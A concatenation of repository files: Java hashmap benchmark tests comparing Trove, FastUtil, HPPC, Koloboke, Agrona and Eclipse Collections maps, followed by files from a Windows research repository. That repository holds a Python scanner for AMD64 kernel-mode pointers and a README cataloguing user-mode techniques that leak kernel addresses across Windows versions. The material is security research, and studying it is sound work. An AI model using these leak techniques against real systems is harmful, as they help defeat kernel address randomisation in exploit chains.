public IMapTest getTest() {
return new TroveObjMapGetTest();
}
@Override
public IMapTest putTest() {
return new TroveObjMapPutTest();
}
@Override
public IMapTest removeTest() {
return new TroveObjMapRemoveTest();
}
private static class TroveObjMapGetTest extends AbstractObjKeyGetTest {
private Map<Integer, Integer> m_map;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailureOutOf ) {
super.setup( keys, fillFactor, oneFailureOutOf );
m_map = new THashMap<>( keys.length, fillFactor );
for (Integer key : m_keys)
m_map.put(new Integer( key % oneFailureOutOf == 0 ? key + 1 : key ), key);
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class TroveObjMapPutTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = new THashMap<>( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], m_keys[ i ] );
for ( int i = 0; i < m_keys2.length; ++i )
m_map.put( m_keys2[ i ], m_keys2[ i ] );
return m_map.size();
}
}
private static class TroveObjMapRemoveTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = new THashMap<>( m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys2[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object;
import org.eclipse.collections.impl.map.mutable.UnifiedMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.object_prim.AbstractObjKeyGetTest;
import tests.maptests.object_prim.AbstractObjKeyPutTest;
import java.util.Map;
/**
* GS UnifiedMap test
*/
public class GsObjMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new GsObjGetTest();
}
@Override
public IMapTest putTest() {
return new GsObjPutTest();
}
@Override
public IMapTest removeTest() {
return new GsObjRemoveTest();
}
private static class GsObjGetTest extends AbstractObjKeyGetTest {
private Map<Integer, Integer> m_map;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailureOutOf ) {
super.setup( keys, fillFactor, oneFailureOutOf );
m_map = new UnifiedMap<>( keys.length, fillFactor );
for (Integer key : m_keys) m_map.put(new Integer( key % oneFailureOutOf == 0 ? key + 1 : key ), key);
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class GsObjPutTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = new UnifiedMap<>( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ],m_keys[ i ] );
for ( int i = 0; i < m_keys2.length; ++i )
m_map.put( m_keys2[ i ],m_keys2[ i ] );
return m_map.size();
}
}
private static class GsObjRemoveTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = new UnifiedMap<>( m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys2[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.primitive;
import tests.maptests.IMapTest;
/**
* Base class for primitive-primitive put tests
*/
public abstract class AbstractPrimPrimPutTest implements IMapTest {
protected int[] m_keys;
protected float m_fillFactor;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailOutOf ) {
m_fillFactor = fillFactor;
m_keys = keys;
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.primitive;
import org.eclipse.collections.api.map.primitive.IntIntMap;
import org.eclipse.collections.impl.map.mutable.primitive.IntIntHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
/**
* GS IntIntHashMap test. Fixed fill factor = 0.5
*/
public class GsMutableMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new GsMutableGetTest();
}
@Override
public IMapTest putTest() {
return new GsMutablePutTest();
}
@Override
public IMapTest removeTest() {
return new GsMutableRemoveTest();
}
private static class GsMutableGetTest extends AbstractPrimPrimGetTest {
IntIntMap m_map;
@Override
public void setup(int[] keys, float fillFactor, final int oneFailOutOf ) {
super.setup( keys, fillFactor, oneFailOutOf);
IntIntHashMap map = new IntIntHashMap(keys.length);
for (int key : keys) map.put( key + (key % oneFailOutOf == 0 ? 1 : 0), key );
m_map = map;
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
res = res ^ m_map.get( m_keys[ i ] );
return res;
}
}
private static class GsMutablePutTest extends AbstractPrimPrimPutTest {
@Override
public int test() {
final IntIntHashMap m_map = new IntIntHashMap(m_keys.length);
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], m_keys[ i ] );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], m_keys[ i ] );
return m_map.size();
}
}
private static class GsMutableRemoveTest extends AbstractPrimPrimPutTest {
@Override
public int test() {
final IntIntHashMap m_map = new IntIntHashMap(m_keys.length / 2 + 1);
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.primitive;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import org.agrona.collections.Int2IntHashMap;
/**
* Agrona Int2IntHashMap test
*/
public class AgronaMapTest implements ITestSet
{
private static final int MISSING_VALUE = Integer.MIN_VALUE;
@Override
public IMapTest getTest() {
return new AgronaGetTest();
}
@Override
public IMapTest putTest() {
return new AgronaPutTest();
}
@Override
public IMapTest removeTest() {
return new AgronaRemoveTest();
}
private static class AgronaGetTest extends AbstractPrimPrimGetTest {
private Int2IntHashMap m_map;
@Override
public void setup(final int[] keys, final float fillFactor, int oneFailOutOf ) {
super.setup( keys, fillFactor, oneFailOutOf );
m_map = new Int2IntHashMap( keys.length, fillFactor, MISSING_VALUE);
for (int key : keys) m_map.put( key + (key % oneFailOutOf == 0 ? 1 : 0), key );
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
res = res ^ m_map.get( m_keys[ i ] );
return res;
}
}
private static class AgronaPutTest extends AbstractPrimPrimPutTest {
@Override
public int test() {
final Int2IntHashMap m_map = new Int2IntHashMap( m_keys.length, m_fillFactor, MISSING_VALUE );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ],m_keys[ i ] );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ],m_keys[ i ] );
return m_map.size();
}
}
private static class AgronaRemoveTest extends AbstractPrimPrimPutTest {
@Override
public int test() {
final Int2IntHashMap m_map = new Int2IntHashMap( m_keys.length / 2 + 1, m_fillFactor, MISSING_VALUE );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.primitive;
import com.carrotsearch.hppc.IntIntHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
/**
* HPPC IntIntOpenHashMap test
*/
public class HppcMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new HppcGetTest();
}
@Override
public IMapTest putTest() {
return new HppcPutTest();
}
@Override
public IMapTest removeTest() {
return new HppcRemoveTest();
}
private static class HppcGetTest extends AbstractPrimPrimGetTest {
private IntIntHashMap m_map;
@Override
public void setup(final int[] keys, final float fillFactor, int oneFailOutOf ) {
super.setup( keys, fillFactor, oneFailOutOf );
m_map = new IntIntHashMap( keys.length, fillFactor );
for (int key : keys) m_map.put( key + (key % oneFailOutOf == 0 ? 1 : 0), key );
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
res = res ^ m_map.get( m_keys[ i ] );
return res;
}
}
private static class HppcPutTest extends AbstractPrimPrimPutTest {
@Override
public int test() {
final IntIntHashMap m_map = new IntIntHashMap( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ],m_keys[ i ] );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ],m_keys[ i ] );
return m_map.size();
}
}
private static class HppcRemoveTest extends AbstractPrimPrimPutTest {
@Override
public int test() {
final IntIntHashMap m_map = new IntIntHashMap( m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.primitive;
import com.koloboke.collect.hash.HashConfig;
import com.koloboke.collect.map.hash.HashIntIntMap;
import com.koloboke.collect.map.hash.HashIntIntMaps;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
/**
* Koloboke HashIntIntMaps.newMutableMap test
*/
public class KolobokeMutableMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new KolobokeMutableGetTest();
}
@Override
public IMapTest putTest() {
return new KolobokeMutablePutTest();
}
@Override
public IMapTest removeTest() {
return new KolobokeMutableRemoveTest();
}
private static HashIntIntMap makeMap(final int size, final float fillFactor )
{
return HashIntIntMaps.getDefaultFactory().
withHashConfig(HashConfig.fromLoads(fillFactor/2, fillFactor, fillFactor)).newMutableMap(size);
}
private static class KolobokeMutableGetTest extends AbstractPrimPrimGetTest {
private HashIntIntMap m_map;
@Override
public void setup(final int[] keys, float fillFactor, final int oneFailOutOf) {
super.setup( keys, fillFactor, oneFailOutOf);
m_map = makeMap(keys.length, fillFactor);
for (int key : keys) m_map.put( key + (key % oneFailOutOf == 0 ? 1 : 0), key );
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
res = res ^ m_map.get( m_keys[ i ] );
return res;
}
}
private static class KolobokeMutablePutTest extends AbstractPrimPrimPutTest {
@Override
public int test() {
final HashIntIntMap m_map = makeMap(m_keys.length, m_fillFactor);
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ],m_keys[ i ] );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ],m_keys[ i ] );
return m_map.size();
}
}
private static class KolobokeMutableRemoveTest extends AbstractPrimPrimPutTest {
@Override
public int test() {
final HashIntIntMap m_map = makeMap(m_keys.length / 2 + 1, m_fillFactor);
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.primitive;
import it.unimi.dsi.fastutil.ints.Int2IntOpenHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
/**
* FastUtil Int2IntOpenHashMap test
*/
public class FastUtilMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new FastUtilGetTest();
}
@Override
public IMapTest putTest() {
return new FastUtilPutTest();
}
@Override
public IMapTest removeTest() {
return new FastUtilRemoveTest();
}
private static class FastUtilGetTest extends AbstractPrimPrimGetTest {
private Int2IntOpenHashMap m_map;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailOutOf) {
super.setup(keys, fillFactor, oneFailOutOf);
m_map = new Int2IntOpenHashMap( keys.length, fillFactor );
for (int key : keys) m_map.put( key + (key % oneFailOutOf == 0 ? 1 : 0), key );
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
res = res ^ m_map.get( m_keys[ i ] );
return res;
}
}
private static class FastUtilPutTest extends AbstractPrimPrimPutTest {
@Override
public int test() {
final Int2IntOpenHashMap m_map = new Int2IntOpenHashMap( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ],m_keys[ i ] );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ],m_keys[ i ] );
return m_map.size();
}
}
private static class FastUtilRemoveTest extends AbstractPrimPrimPutTest {
@Override
public int test() {
final Int2IntOpenHashMap m_map = new Int2IntOpenHashMap( m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.primitive;
import tests.maptests.IMapTest;
/**
* A base class for primitive-primitive get tests
*/
public abstract class AbstractPrimPrimGetTest implements IMapTest {
protected int[] m_keys;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailOutOf ) {
m_keys = keys;
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.primitive;
import gnu.trove.map.TIntIntMap;
import gnu.trove.map.hash.TIntIntHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
/**
* Trove TIntIntHashMap test
*/
public class TroveMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new TroveGetTest();
}
@Override
public IMapTest putTest() {
return new TrovePutTest();
}
@Override
public IMapTest removeTest() {
return new TroveRemoveTest();
}
private static class TroveGetTest extends AbstractPrimPrimGetTest {
private TIntIntMap m_map;
@Override
public void setup(final int[] keys, final float fillFactor, int oneFailOutOf) {
super.setup( keys, fillFactor, oneFailOutOf );
m_map = new TIntIntHashMap( keys.length, fillFactor );
for (int key : keys) m_map.put( key + (key % oneFailOutOf == 0 ? 1 : 0), key );
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
res = res ^ m_map.get( m_keys[ i ] );
return res;
}
}
private static class TrovePutTest extends AbstractPrimPrimPutTest {
@Override
public int test() {
final TIntIntMap m_map = new TIntIntHashMap( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], m_keys[ i ] );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], m_keys[ i ] );
return m_map.size();
}
}
private static class TroveRemoveTest extends AbstractPrimPrimPutTest {
@Override
public int test() {
final TIntIntMap m_map = new TIntIntHashMap( m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.article_examples;
import map.intint.IntIntMap;
import map.intint.IntIntMap3;
public class IntIntMap3Test extends BaseIntIntMapTest {
@Override
public IntIntMap makeMap(int size, float fillFactor) {
return new IntIntMap3(size, fillFactor);
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.article_examples;
import map.intint.IntIntMap;
import map.intint.IntIntMap2;
public class IntIntMap2Test extends BaseIntIntMapTest {
@Override
public IntIntMap makeMap(int size, float fillFactor) {
return new IntIntMap2( size, fillFactor );
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.article_examples;
import map.intint.IntIntMap;
import map.intint.IntIntMap4a;
public class IntIntMap4aTest extends BaseIntIntMapTest {
@Override
public IntIntMap makeMap(int size, float fillFactor) {
return new IntIntMap4a( size, fillFactor);
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.article_examples;
import map.intint.IntIntMap;
import map.intint.IntIntMap4;
public class IntIntMap4Test extends BaseIntIntMapTest {
@Override
public IntIntMap makeMap(int size, float fillFactor) {
return new IntIntMap4(size, fillFactor);
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.article_examples;
import it.unimi.dsi.fastutil.objects.Object2ObjectOpenHashMap;
import map.objobj.ObjObjMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.object_prim.AbstractObjKeyGetTest;
import tests.maptests.object_prim.AbstractObjKeyPutTest;
import java.util.Map;
public class ObjObjMapTest implements ITestSet {
@Override
public IMapTest getTest() {
return new ObjObjMapGetTest();
}
@Override
public IMapTest putTest() {
return new FastUtilObjPutTest();
}
@Override
public IMapTest removeTest() {
return new FastUtilObjRemoveTest();
}
private static class ObjObjMapGetTest extends AbstractObjKeyGetTest {
private ObjObjMap<Integer, Integer> m_map;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailureOutOf ) {
super.setup( keys, fillFactor, oneFailureOutOf );
m_map = new ObjObjMap<>( m_keys.length, fillFactor );
for (Integer key : m_keys) m_map.put(new Integer( key % oneFailureOutOf == 0 ? key + 1 : key ), key);
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class FastUtilObjPutTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = new Object2ObjectOpenHashMap<>( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], m_keys[ i ] );
for ( int i = 0; i < m_keys2.length; ++i )
m_map.put( m_keys2[ i ], m_keys2[ i ] );
return m_map.size();
}
}
private static class FastUtilObjRemoveTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = new Object2ObjectOpenHashMap<>( m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys2[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.article_examples;
import map.intint.IntIntMap;
import map.intint.IntIntMap1;
public class IntIntMap1Test extends BaseIntIntMapTest {
@Override
public IntIntMap makeMap(int size, float fillFactor) {
return new IntIntMap1(size, fillFactor);
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.article_examples;
import map.intint.IntIntMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.primitive.AbstractPrimPrimGetTest;
import tests.maptests.primitive.AbstractPrimPrimPutTest;
public abstract class BaseIntIntMapTest implements ITestSet
{
abstract public IntIntMap makeMap( final int size, final float fillFactor );
@Override
public IMapTest getTest() {
return new IntIntMapGetTest();
}
@Override
public IMapTest putTest() {
return new IntIntMapPutTest();
}
@Override
public IMapTest removeTest() {
return new IntIntMapRemoveTest();
}
private class IntIntMapGetTest extends AbstractPrimPrimGetTest {
private IntIntMap m_map;
@Override
public void setup(final int[] keys, final float fillFactor, int oneFailOutOf) {
super.setup( keys, fillFactor, oneFailOutOf );
m_map = makeMap( keys.length, fillFactor );
for (int key : keys) m_map.put( key + (key % oneFailOutOf == 0 ? 1 : 0), key );
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
res = res ^ m_map.get( m_keys[ i ] );
return res;
}
}
private class IntIntMapPutTest extends AbstractPrimPrimPutTest {
@Override
public int test() {
final IntIntMap m_map = makeMap(m_keys.length, m_fillFactor);
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], m_keys[ i ] );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], m_keys[ i ] );
return m_map.size();
}
}
private class IntIntMapRemoveTest extends AbstractPrimPrimPutTest {
@Override
public int test() {
final IntIntMap m_map = makeMap(m_keys.length / 2 + 1, m_fillFactor);
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
#Attempts to find cononical AMD64 kernel mode addresses within files
import sys
import binascii
if len(sys.argv) < 2:
print 'target file required'
sys.exit(1)
file = sys.argv[1]
with open(file, 'rb') as f:
data = bytearray(f.read())
for index, byte in enumerate(data):
if byte == 0xFF:
if data[index - 1] == 0xFF:
if data[index - 2] >= 0x80:
out = []
for i in range(8):
out.append(data[index - i])
print 'Possibly a little endian kernel mode pointer: 0x' + binascii.hexlify(bytearray(out)) | {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
# Windows Kernel Address Leaks
This repository aims to provide functioning code that demonstrated usage of various different ways to gain access to Kernel Mode pointers in Windows from User Mode. A green ticket indicates a leak which works from a low integrity process and a blue tick indicates a leak which requires a medium integrity process.
| Technique | 7 | 8 | 8.1 | 10 - 1511 | 10 - 1607 | 10 - 1703 | 10 - 1703 + VBS |
|---------------------------------------------------|-----------|-----------|--------------|----------------|----------------|----------------|----------------|
| NtQuerySystemInformation: <br> [SystemHandleInformation](https://github.com/sam-b/windows_kernel_address_leaks/blob/master/NtQuerySysInfo_SystemHandleInformation/NtQuerySysInfo_SystemHandleInformation/NtQuerySysInfo_SystemHandleInformation.cpp) <br> [SystemLockInformation](https://github.com/sam-b/windows_kernel_address_leaks/blob/master/NtQuerySysInfo_SystemLockInformation/NtQuerySysInfo_SystemLockInformation/NtQuerySysInfo_SystemLockInformation.cpp)<br> [SystemModuleInformation](https://github.com/sam-b/windows_kernel_address_leaks/blob/master/NtQuerySysInfo_SystemModuleInformation/NtQuerySysInfo_SystemModuleInformation/NtQuerySysInfo_SystemModuleInformation.cpp)<br> [SystemProcessInformation](https://github.com/sam-b/windows_kernel_address_leaks/blob/master/NtQuerySysInfo_SystemProcessInformation/NtQuerySysInfo_SystemProcessInformation/NtQuerySysInfo_SystemProcessInformation.cpp)<br> [SystemBigPoolInformation](https://github.com/sam-b/windows_kernel_address_leaks/blob/master/NtQuerySysInfo_SystemBigPoolInformation/NtQuerySysInfo_SystemBigPoolInformation/NtQuerySysInfo_SystemBigPoolInformation.cpp)|  | ||||||
|[System Call Return Values](https://github.com/sam-b/windows_kernel_address_leaks/blob/master/Syscalls/Syscalls/Syscalls.cpp) | | ||||||
|[Win32k Shared Info User Handle Table](https://github.com/sam-b/windows_kernel_address_leaks/blob/master/SharedInfoHandleTable/SharedInfoHandleTable/SharedInfoHandleTable.cpp) | | ||||||
|[Descriptor Tables](https://github.com/sam-b/windows_kernel_address_leaks/blob/master/DescriptorTables/DescriptorTables/DescriptorTables.cpp) | | ||||||
|[HMValidateHandle](https://github.com/sam-b/windows_kernel_address_leaks/blob/master/HMValidateHandle/HMValidateHandle/HMValidateHandle.cpp) ||||||||
|[GdiSharedHandleTable](https://github.com/sam-b/windows_kernel_address_leaks/blob/master/GdiSharedHandleTable/GdiSharedHandleTable/GdiSharedHandleTable.cpp)||||||||
|[DesktopHeap](https://github.com/sam-b/windows_kernel_address_leaks/blob/master/DesktopHeap/DesktopHeap/DesktopHeap.cpp)||||||||
The following techniques requiring non-standard permissions.
| Technique | Permission Needed | 7 | 8 | 8.1 | 10 - 1511 | 10 - 1607 | 10 - 1703 | 10 - 1703 + VBS |
|---------------------------------------------------|-------------------|-----------|-----------|--------------|----------------|----------------|----------------|----------------|
| NtSystemDebugControl: <br> [SysDbgGetTriageDump](https://github.com/sam-b/windows_kernel_address_leaks/blob/master/NtSystemDebugControl_SysDbgGetTriageDump/NtSystemDebugControl_SysDbgGetTriageDump/NtSystemDebugControl_SysDbgGetTriageDump.cpp) | [SeDebugPrivilege](https://blogs.msdn.microsoft.com/oldnewthing/20080314-00/?p=23113) ||||||||
| | SeSystemProfilePrivilege |
## Further Details
Some more details on techniques which no longer work and what was changed:
### NtQuerySystemInformation/System Call Return Values:
[https://samdb.xyz/revisiting-windows-security-hardening-through-kernel-address-protection/](https://samdb.xyz/revisiting-windows-security-hardening-through-kernel-address-protection/)
### Win32k Shared Info User Handle Table
[notes/gSharedInfo.md](notes/gSharedInfo.md) - A brief look at the changes made in the Creators Update/1703. Not very concrete or detailed, I might revisit it and create something more detailed or maybe someone else will.
### GdiSharedHandleTable / Desktop Heap
Pending
### NPIEP
[notes/NPIEP.md](notes/NPIEP.md) - A very brief "it's a thing" write up, more details pending on me getting a test laptop back when the summer interns are gone...
## Attributions
I have referenced where I read about a technique and where specific structs etc have come from in the code, however these may not be the true original sources of the information :)
A lot of the function prototypes and struct definitions are taken from [ReactOS](https://www.reactos.org/).
Green Tick Icon By FatCow (http://www.fatcow.com/free-icons) [[CC BY 3.0](http://creativecommons.org/licenses/by/3.0)], via Wikimedia Commons
Cross Icon By Cäsium137 [Public domain], via Wikimedia Commons
Blue Tick By Gregory Maxwell, User:David Levy, Wart Dark (en:Image:Blue check.png) [GFDL 1.2 (http://www.gnu.org/licenses/old-licenses/fdl-1.2.html)], via Wikimedia Commons | {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.25420.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NtQuerySysInfo_SystemProcessInformation", "NtQuerySysInfo_SystemProcessInformation\NtQuerySysInfo_SystemProcessInformation.vcxproj", "{726FB56A-5312-4BC8-9EFC-98F57B72562E}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{726FB56A-5312-4BC8-9EFC-98F57B72562E}.Debug|x64.ActiveCfg = Debug|x64
{726FB56A-5312-4BC8-9EFC-98F57B72562E}.Debug|x64.Build.0 = Debug|x64
{726FB56A-5312-4BC8-9EFC-98F57B72562E}.Debug|x86.ActiveCfg = Debug|Win32
{726FB56A-5312-4BC8-9EFC-98F57B72562E}.Debug|x86.Build.0 = Debug|Win32
{726FB56A-5312-4BC8-9EFC-98F57B72562E}.Release|x64.ActiveCfg = Release|x64
{726FB56A-5312-4BC8-9EFC-98F57B72562E}.Release|x64.Build.0 = Release|x64
{726FB56A-5312-4BC8-9EFC-98F57B72562E}.Release|x86.ActiveCfg = Release|Win32
{726FB56A-5312-4BC8-9EFC-98F57B72562E}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
// TODO: reference additional headers your program requires here
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
========================================================================
CONSOLE APPLICATION : NtQuerySysInfo_SystemProcessInformation Project Overview
========================================================================
